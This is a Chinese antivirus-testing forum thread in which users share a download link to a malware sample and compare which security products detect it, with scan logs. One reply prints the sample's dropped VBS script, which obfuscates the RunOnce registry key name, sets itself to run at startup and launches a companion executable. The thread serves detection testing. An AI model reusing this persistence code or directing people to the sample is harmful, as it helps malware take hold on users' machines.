Malware _1（VT:13/67）

静影沉璧

下载地址：https://www.lanzous.com/i1y3t1i（密码infected）
VT：https://www.virustotal.com/en/fi ... a3a7a1322/analysis/

a8855942

卡巴斯基UDS就报毒了。云拉黑了，那么快？

Jerry.Lin

1. ESET：         a variant of Win32/GenKryptik.CLYJ

复制代码

1. VirusTotal Smart Scanner
   
2. Scan Time: 2018-09-24110559
   
3. Scan Duration: 3 seconds
   
4. Scan Target: C:\Users\zhong\Downloads\Compressed\VIRUS TEST\卡饭\66253cd99503a6ebed8cf99e4a115576a41c07db2ad0efc17f32abea3a7a1322
   
5. Number of Scan Files: 1
   
6. Number of Infected Files: 1
   
7. Sensitivity: 80
   
8. Scan PE only: False
   
9. Auto_Upload: True
   
10. Threats:
    
11. Trojan.Generic                  sha256: 66253cd99503a6ebed8cf99e4a115576a41c07db2ad0efc17f32abea3a7a1322    Path: C:\Users\zhong\Downloads\Compressed\VIRUS TEST\卡饭\66253cd99503a6ebed8cf99e4a115576a41c07db2ad0efc17f32abea3a7a1322\66253cd99503a6ebed8cf99e4a115576a41c07db2ad0efc17f32abea3a7a1322.exe
    

复制代码

Jirehlov1234

BD

ATD击杀（malicious behavior）
filename.vbs
66253cd99503a6ebed8cf99e4a115576a41c07db2ad0efc17f32abea3a7a1322.exe
filename.exe



filename.vbs

1. On Error Resume Next
   
2. Set WshShell = CreateObject("WScript.Shell")
   
3. myKey = "HKCU\Software\Microsoft\Windows\CurrentVersion"+STRREVERSE("ecnOnuR")+"\Registry Key Name"
   
4. Vbs ="C:\Users\Administrator\AppData\Local\Temp\subfolder\filename.vbs"
   
5. If WScript.Arguments.Count <> 0 Then
   
6. WScript.Sleep 5000
   
7. WshShell.RegWrite myKey,Vbs,"REG_SZ"
   
8. WScript.Quit
   
9. end if
   
10. WshShell.Run Vbs & " -FF"
    
11. WshShell.Run """C:\Users\Administrator\AppData\Local\Temp\subfolder\filename.exe"""      

复制代码

j2016

过wd扫描，双击，秒

BE_HC

Norton 启发B杀

command360

火绒日常miss

pal家族

卡巴目前的拉黑状态

www-tekeze

command360 发表于 2018-9-24 14:29
火绒日常miss

智量本地Heur就能杀 。。

wsh159

www-tekeze 发表于 2018-9-24 14:52
智量本地Heur就能杀 。。

难道火绒还不如智量